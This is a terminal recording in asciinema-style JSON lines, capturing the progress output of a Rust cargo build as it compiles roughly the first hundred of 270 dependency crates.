[21.063156, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 17/270: futures-channel, core-foundation-sys, ryu, hashbrown, bytes, lock_api(build.rs), serde_json(build.rs), proc-macro2(build), libc(build), serde(build), parking_lot_core(build), memchr \r"]
|
||||
[21.07565, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m slab v0.4.9\r\n"]
|
||||
[21.075716, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 18/270: futures-channel, ryu, hashbrown, slab(build.rs), bytes, lock_api(build.rs), serde_json(build.rs), proc-macro2(build), libc(build), serde(build), parking_lot_core(build), memchr \r"]
|
||||
[21.108286, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num-traits v0.2.19\r\n"]
|
||||
[21.10843, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 19/270: futures-channel, ryu, hashbrown, slab(build.rs), bytes, lock_api(build.rs), serde_json(build.rs), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), parking_lot_core(build) \r"]
|
||||
[21.135823, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m litemap v0.7.5\r\n"]
|
||||
[21.136189, "o", "\u001b[1m\u001b[36m Building\u001b[0m [> ] 20/270: futures-channel, hashbrown, slab(build.rs), bytes, lock_api(build.rs), serde_json(build.rs), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), parking_lot_core(build), lit...\r"]
|
||||
[21.138845, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 21/270: futures-channel, hashbrown, slab(build.rs), bytes, lock_api(build.rs), serde_json(build), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), parking_lot_core(build), litemap \r\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_locid_transform_data v1.5.1\r\n\u001b[1m\u001b[36m Building\u001b[0m [=> ] 22/270: futures-channel, hashbrown, slab(build.rs), bytes, lock_api(build.rs), serde_json(build), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), icu_locid_transform_data(build....\r"]
|
||||
[21.161233, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m pin-utils v0.1.0\r\n"]
|
||||
[21.161271, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 23/270: pin-utils, hashbrown, slab(build.rs), bytes, lock_api(build.rs), serde_json(build), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), icu_locid_transform_data(build.rs), l...\r"]
|
||||
[21.161905, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 24/270: pin-utils, hashbrown, slab(build.rs), bytes, serde_json(build), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), icu_locid_transform_data(build.rs), litemap, lock_api(build)\r"]
|
||||
[21.171062, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 25/270: pin-utils, hashbrown, bytes, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), icu_locid_transform_data(build.rs), litemap, lock_api(build) \r"]
|
||||
[21.18027, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m rustix v1.0.3\r\n"]
|
||||
[21.180299, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 26/270: pin-utils, rustix(build.rs), bytes, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), icu_locid_transform_data(build.rs), litemap, lock_api...\r"]
|
||||
[21.196422, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m writeable v0.5.5\r\n"]
|
||||
[21.19645, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 27/270: rustix(build.rs), writeable, bytes, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), num-traits(build.rs), icu_locid_transform_data(build.rs), litemap, lock_api...\r"]
|
||||
[21.209074, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m futures-task v0.3.31\r\n\u001b[1m\u001b[36m Building\u001b[0m [=> ] 28/270: rustix(build.rs), writeable, bytes, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), icu_locid_transform_data(build.rs), litemap, lock_api(build), futures-task \r"]
|
||||
[21.230428, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m futures-io v0.3.31\r\n"]
|
||||
[21.23048, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 29/270: rustix(build.rs), writeable, bytes, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), futures-io, litemap, lock_api(build), futures-task \r"]
|
||||
[21.24605, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 30/270: rustix(build.rs), writeable, bytes, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), futures-io, lock_api(build), icu_locid_transform_data(build), futures-task \r"]
|
||||
[21.27647, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=> ] 31/270: num-traits(build), rustix(build.rs), writeable, bytes, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), futures-io, lock_api(build), icu_locid_transform_data(bu...\r"]
|
||||
[21.294729, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m thiserror v1.0.69\r\n"]
|
||||
[21.294924, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 32/270: num-traits(build), rustix(build.rs), writeable, bytes, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), lock_api(build), icu_locid_transform_data(build), thiser...\r"]
|
||||
[21.312333, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_properties_data v1.5.1\r\n"]
|
||||
[21.312427, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 33/270: num-traits(build), rustix(build.rs), writeable, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), icu_properties_data(build.rs), lock_api(build), icu_locid_trans...\r"]
|
||||
[21.314227, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 34/270: num-traits(build), rustix(build), writeable, serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), icu_properties_data(build.rs), lock_api(build), icu_locid_transfor...\r"]
|
||||
[21.33527, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m getrandom v0.3.2\r\n"]
|
||||
[21.335367, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 35/270: num-traits(build), rustix(build), getrandom(build.rs), serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), icu_properties_data(build.rs), lock_api(build), icu_loci...\r"]
|
||||
[21.382291, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 36/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build.rs), serde_json(build), slab(build), proc-macro2(build), libc(build), serde(build), lock_api(build), icu_locid_t...\r"]
|
||||
[21.409263, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 37/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build.rs), proc-macro2, serde_json(build), slab(build), libc(build), serde(build), lock_api(build), icu_locid_transfor...\r"]
|
||||
[21.409608, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 38/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build.rs), proc-macro2, serde_json(build), slab(build), thiserror(build), libc(build), serde(build), lock_api(build), ...\r"]
|
||||
[21.452063, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 39/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), proc-macro2, serde_json(build), slab(build), thiserror(build), libc(build), serde(build), lock_api(build), icu...\r"]
|
||||
[21.640658, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m quote v1.0.40\r\n"]
|
||||
[21.640694, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 40/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), quote, proc-macro2, serde_json(build), slab(build), thiserror(build), libc(build), lock_api(build), icu_locid_...\r"]
|
||||
[21.686485, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m icu_normalizer_data v1.5.1\r\n"]
|
||||
[21.686579, "o", "\u001b[1m\u001b[36m Building\u001b[0m [==> ] 41/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), icu_normalizer_data(build.rs), quote, serde_json(build), slab(build), thiserror(build), libc(build), lock_api(...\r"]
|
||||
[21.759368, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m syn v2.0.100\r\n"]
|
||||
[21.759454, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 42/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, quote, serde_json(build), slab(build), thiserror(build), libc(build), lock_api(build), icu_locid_transfor...\r"]
|
||||
[21.764469, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m fnv v1.0.7\r\n"]
|
||||
[21.764538, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 43/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, serde_json(build), fnv, slab(build), thiserror(build), libc(build), lock_api(build), icu_locid_transform_...\r"]
|
||||
[21.796702, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m http v0.2.12\r\n"]
|
||||
[21.796791, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 44/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, serde_json(build), slab(build), thiserror(build), libc(build), http, lock_api(build), icu_locid_transform...\r"]
|
||||
[21.889367, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 45/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, serde_json(build), slab(build), thiserror(build), http, lock_api(build), libc, icu_locid_transform_data(b...\r"]
|
||||
[22.197788, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 46/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, slab(build), thiserror(build), http, lock_api(build), libc, icu_locid_transform_data(build), icu_normaliz...\r"]
|
||||
[22.324053, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m signal-hook-registry v1.4.2\r\n"]
|
||||
[22.324162, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 47/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, slab(build), thiserror(build), signal-hook-registry, lock_api(build), libc, icu_locid_transform_data(buil...\r"]
|
||||
[22.335479, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 48/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, parking_lot_core, slab(build), thiserror(build), signal-hook-registry, lock_api(build), icu_locid_transfo...\r"]
|
||||
[22.463262, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m errno v0.3.10\r\n"]
|
||||
[22.463317, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 49/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, slab(build), thiserror(build), signal-hook-registry, lock_api(build), icu_locid_transform_data(build), ic...\r"]
|
||||
[22.46546, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 50/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, lock_api, slab(build), thiserror(build), signal-hook-registry, icu_locid_transform_data(build), icu_norma...\r"]
|
||||
[22.513539, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m mio v1.0.3\r\n"]
|
||||
[22.51357, "o", "\u001b[1m\u001b[36m Building\u001b[0m [===> ] 51/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, lock_api, slab(build), thiserror(build), icu_locid_transform_data(build), mio, icu_normalizer_data(build)...\r"]
|
||||
[22.519736, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m socket2 v0.5.8\r\n"]
|
||||
[22.519842, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 52/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, lock_api, slab(build), thiserror(build), icu_locid_transform_data(build), mio, icu_normalizer_data(build)...\r"]
|
||||
[22.556956, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m parking_lot v0.12.3\r\n"]
|
||||
[22.557057, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 53/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, slab(build), thiserror(build), parking_lot, icu_locid_transform_data(build), mio, icu_normalizer_data(bui...\r"]
|
||||
[22.712544, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 54/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, slab, thiserror(build), parking_lot, icu_locid_transform_data(build), mio, icu_normalizer_data(build), so...\r"]
|
||||
[22.747265, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tracing-core v0.1.33\r\n"]
|
||||
[22.747298, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 55/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, slab, thiserror(build), icu_locid_transform_data(build), mio, icu_normalizer_data(build), s...\r"]
|
||||
[22.747509, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m log v0.4.27\r\n"]
|
||||
[22.747596, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 56/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, log, slab, thiserror(build), icu_locid_transform_data(build), mio, icu_normalizer_data(build) \r"]
|
||||
[22.777478, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m unsafe-libyaml v0.2.11\r\n"]
|
||||
[22.777508, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 57/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, log, thiserror(build), icu_locid_transform_data(build), mio, icu_normalizer_data(build), un...\r"]
|
||||
[22.803035, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 58/270: icu_locid_transform_data, num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, log, thiserror(build), mio, icu_normalizer_data(build), unsafe-li...\r"]
|
||||
[22.83338, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m httparse v1.10.1\r\n"]
|
||||
[22.833504, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 59/270: icu_locid_transform_data, num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, httparse(build.rs), thiserror(build), mio, icu_normalizer_data(bu...\r"]
|
||||
[22.83581, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m core-foundation v0.9.4\r\n"]
|
||||
[22.835833, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 60/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, httparse(build.rs), thiserror(build), core-foundation, mio, icu_normalizer_data(build), uns...\r"]
|
||||
[22.836268, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m fastrand v2.3.0\r\n\u001b[1m\u001b[36m Building\u001b[0m [====> ] 61/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, httparse(build.rs), thiserror(build), fastrand, core-foundation, icu_normalizer_data(build)...\r"]
|
||||
[22.941203, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tracing v0.1.41\r\n"]
|
||||
[22.941376, "o", "\u001b[1m\u001b[36m Building\u001b[0m [====> ] 62/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, httparse(build.rs), thiserror(build), core-foundation, tracing, icu_normalizer_data(build),...\r"]
|
||||
[22.981021, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 63/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, thiserror(build), httparse(build), core-foundation, tracing, icu_normalizer_data(build), un...\r"]
|
||||
[23.021436, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m utf8_iter v1.0.4\r\n"]
|
||||
[23.021547, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 64/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, utf8_iter, thiserror(build), httparse(build), tracing, icu_normalizer_data(build), unsafe-l...\r"]
|
||||
[23.038774, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m write16 v1.0.0\r\n"]
|
||||
[23.038804, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 65/270: num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, tracing-core, write16, utf8_iter, thiserror(build), httparse(build), icu_normalizer_data(build), unsafe-l...\r"]
|
||||
[23.055807, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m utf16_iter v1.0.5\r\n"]
|
||||
[23.055835, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 66/270: utf16_iter, num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, write16, utf8_iter, thiserror(build), httparse(build), icu_normalizer_data(build), unsafe-lib...\r"]
|
||||
[23.074201, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m try-lock v0.2.5\r\n"]
|
||||
[23.07423, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 67/270: utf16_iter, num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, try-lock, utf8_iter, thiserror(build), httparse(build), icu_normalizer_data(build), unsafe-li...\r"]
|
||||
[23.082638, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m security-framework-sys v2.14.0\r\n"]
|
||||
[23.082663, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 68/270: utf16_iter, num-traits(build), rustix(build), icu_properties_data(build), getrandom(build), syn, security-framework-sys, try-lock, thiserror(build), httparse(build), icu_normalizer_data(buil...\r"]
|
||||
[23.086985, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 69/270: utf16_iter, rustix(build), icu_properties_data(build), getrandom(build), syn, security-framework-sys, num-traits, try-lock, thiserror(build), httparse(build), icu_normalizer_data(build), uns...\r"]
|
||||
[23.107838, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m want v0.3.1\r\n\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 70/270: rustix(build), icu_properties_data(build), getrandom(build), syn, security-framework-sys, num-traits, try-lock, thiserror(build), httparse(build), want, icu_normalizer_data(build), unsafe-li...\r"]
|
||||
[23.114348, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m http-body v0.4.6\r\n"]
|
||||
[23.11446, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 71/270: rustix(build), icu_properties_data(build), getrandom(build), syn, security-framework-sys, num-traits, thiserror(build), httparse(build), http-body, want, icu_normalizer_data(build), unsafe-l...\r"]
|
||||
[23.167457, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m percent-encoding v2.3.1\r\n"]
|
||||
[23.167557, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=====> ] 72/270: rustix(build), icu_properties_data(build), getrandom(build), syn, percent-encoding, num-traits, thiserror(build), httparse(build), http-body, want, icu_normalizer_data(build), unsafe-libyaml \r"]
|
||||
[23.173471, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m httpdate v1.0.3\r\n"]
|
||||
[23.173495, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 73/270: rustix(build), icu_properties_data(build), getrandom(build), syn, percent-encoding, httpdate, num-traits, thiserror(build), httparse(build), http-body, icu_normalizer_data(build), unsafe-lib...\r"]
|
||||
[23.212014, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tower-service v0.3.3\r\n"]
|
||||
[23.212044, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 74/270: rustix(build), icu_properties_data(build), getrandom(build), syn, percent-encoding, httpdate, num-traits, tower-service, thiserror(build), httparse(build), icu_normalizer_data(build), unsafe...\r"]
|
||||
[23.244991, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m native-tls v0.2.14\r\n"]
|
||||
[23.245021, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 75/270: rustix(build), icu_properties_data(build), getrandom(build), syn, httpdate, num-traits, tower-service, native-tls(build.rs), thiserror(build), httparse(build), icu_normalizer_data(build), un...\r\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m form_urlencoded v1.2.1\r\n"]
|
||||
[23.24516, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 76/270: rustix(build), icu_properties_data(build), getrandom(build), syn, httpdate, num-traits, native-tls(build.rs), thiserror(build), httparse(build), form_urlencoded, icu_normalizer_data(build), ...\r"]
|
||||
[23.280024, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m security-framework v2.11.1\r\n"]
|
||||
[23.280156, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 77/270: rustix(build), icu_properties_data(build), getrandom(build), syn, num-traits, native-tls(build.rs), security-framework, thiserror(build), httparse(build), form_urlencoded, icu_normalizer_dat...\r"]
|
||||
[23.291052, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m system-configuration-sys v0.5.0\r\n"]
|
||||
[23.291221, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 78/270: rustix(build), icu_properties_data(build), getrandom(build), syn, num-traits, native-tls(build.rs), system-configuration-sys(build.rs), security-framework, thiserror(build), httparse(build),...\r"]
|
||||
[23.325386, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m synstructure v0.13.1\r\n"]
|
||||
[23.325527, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 79/270: rustix(build), icu_properties_data(build), getrandom(build), syn, num-traits, native-tls(build.rs), system-configuration-sys(build.rs), security-framework, thiserror(build), httparse(build),...\r"]
|
||||
[23.330716, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 80/270: rustix(build), icu_properties_data(build), getrandom(build), syn, num-traits, system-configuration-sys(build.rs), security-framework, thiserror(build), httparse(build), native-tls(build), sy...\r"]
|
||||
[23.340335, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 81/270: icu_properties_data(build), getrandom(build), syn, num-traits, system-configuration-sys(build.rs), security-framework, thiserror(build), httparse(build), native-tls(build), synstructure, icu...\r"]
|
||||
[23.380593, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 82/270: system-configuration-sys(build), icu_properties_data(build), getrandom(build), syn, num-traits, security-framework, thiserror(build), httparse(build), native-tls(build), synstructure, icu_no...\r"]
|
||||
[23.429561, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num-integer v0.1.46\r\n"]
|
||||
[23.42969, "o", "\u001b[1m\u001b[36m Building\u001b[0m [======> ] 83/270: system-configuration-sys(build), icu_properties_data(build), getrandom(build), syn, num-integer, security-framework, thiserror(build), httparse(build), native-tls(build), synstructure, icu_n...\r"]
|
||||
[23.434159, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 84/270: system-configuration-sys(build), getrandom(build), syn, num-integer, security-framework, thiserror(build), icu_properties_data, httparse(build), native-tls(build), synstructure, icu_normaliz...\r"]
|
||||
[23.516165, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m aho-corasick v1.1.3\r\n"]
|
||||
[23.516195, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 85/270: system-configuration-sys(build), getrandom(build), syn, aho-corasick, num-integer, security-framework, thiserror(build), httparse(build), native-tls(build), synstructure, icu_normalizer_data...\r"]
|
||||
[23.601166, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m lazy_static v1.5.0\r\n"]
|
||||
[23.601196, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 86/270: system-configuration-sys(build), getrandom(build), syn, aho-corasick, lazy_static, security-framework, thiserror(build), httparse(build), native-tls(build), synstructure, icu_normalizer_data...\r"]
|
||||
[23.613656, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m bitflags v1.3.2\r\n"]
|
||||
[23.613682, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 87/270: system-configuration-sys(build), getrandom(build), syn, aho-corasick, lazy_static, security-framework, thiserror(build), httparse(build), bitflags, native-tls(build), icu_normalizer_data(bui...\r"]
|
||||
[23.638898, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m regex-syntax v0.8.5\r\n"]
|
||||
[23.639053, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 88/270: system-configuration-sys(build), regex-syntax, getrandom(build), syn, aho-corasick, security-framework, thiserror(build), httparse(build), bitflags, native-tls(build), icu_normalizer_data(bu...\r"]
|
||||
[23.642064, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m base64 v0.21.7\r\n"]
|
||||
[23.642168, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 89/270: system-configuration-sys(build), regex-syntax, getrandom(build), syn, aho-corasick, base64, security-framework, thiserror(build), httparse(build), native-tls(build), icu_normalizer_data(buil...\r"]
|
||||
[23.7033, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m utf8parse v0.2.2\r\n"]
|
||||
[23.703481, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 90/270: system-configuration-sys(build), utf8parse, regex-syntax, getrandom(build), syn, aho-corasick, base64, security-framework, httparse(build), native-tls(build), icu_normalizer_data(build), rustix\r"]
|
||||
[23.747399, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m anstyle-parse v0.2.6\r\n"]
|
||||
[23.747622, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 91/270: system-configuration-sys(build), regex-syntax, getrandom(build), syn, aho-corasick, base64, security-framework, httparse(build), anstyle-parse, native-tls(build), icu_normalizer_data(build),...\r"]
|
||||
[23.810049, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m rustls-pemfile v1.0.4\r\n"]
|
||||
[23.810086, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 92/270: system-configuration-sys(build), regex-syntax, getrandom(build), syn, aho-corasick, security-framework, rustls-pemfile, httparse(build), anstyle-parse, native-tls(build), icu_normalizer_data...\r"]
|
||||
[23.826972, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m num-bigint v0.4.6\r\n"]
|
||||
[23.826999, "o", "\u001b[1m\u001b[36m Building\u001b[0m [=======> ] 93/270: system-configuration-sys(build), regex-syntax, getrandom(build), syn, aho-corasick, num-bigint, security-framework, rustls-pemfile, httparse(build), native-tls(build), icu_normalizer_data(bu...\r"]
|
||||
[23.908947, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m encoding_rs v0.8.35\r\n"]
|
||||
[23.908978, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 94/270: system-configuration-sys(build), regex-syntax, getrandom(build), syn, aho-corasick, num-bigint, encoding_rs, security-framework, httparse(build), native-tls(build), icu_normalizer_data(build...\r"]
|
||||
[23.92933, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 95/270: system-configuration-sys(build), getrandom, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, security-framework, httparse(build), native-tls(build), icu_normalizer_data(build), rustix \r"]
|
||||
[24.004068, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m tempfile v3.19.1\r\n"]
|
||||
[24.004095, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 96/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, security-framework, httparse(build), native-tls(build), icu_normalizer_data(build), rustix \r"]
|
||||
[24.007109, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m version_check v0.9.5\r\n"]
|
||||
[24.00727, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 97/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, security-framework, httparse(build), version_check, native-tls(build), icu_normalizer_dat...\r"]
|
||||
[24.043623, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 98/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, icu_normalizer_data, security-framework, httparse(build), version_check, native-tls(build) \r"]
|
||||
[24.068188, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m either v1.15.0\r\n"]
|
||||
[24.068525, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 99/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, icu_normalizer_data, httparse(build), version_check, native-tls(build), either \r"]
|
||||
[24.08646, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m anstyle v1.0.10\r\n"]
|
||||
[24.086583, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 100/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, httparse(build), anstyle, version_check, native-tls(build), either \r"]
|
||||
[24.167709, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m signal-hook v0.3.17\r\n"]
|
||||
[24.16779, "o", "\u001b[1m\u001b[36m Building\u001b[0m [========> ] 101/270: system-configuration-sys(build), tempfile, regex-syntax, syn, aho-corasick, num-bigint, encoding_rs, signal-hook(build.rs), httparse(build), anstyle, version_check, native-tls(build) \r"]
|
||||
[24.198748, "o", "\u001b[K\u001b[1m\u001b[32m Compiling\u001b[0m anstyle-query v1.1.2\r\n"]
|
||||
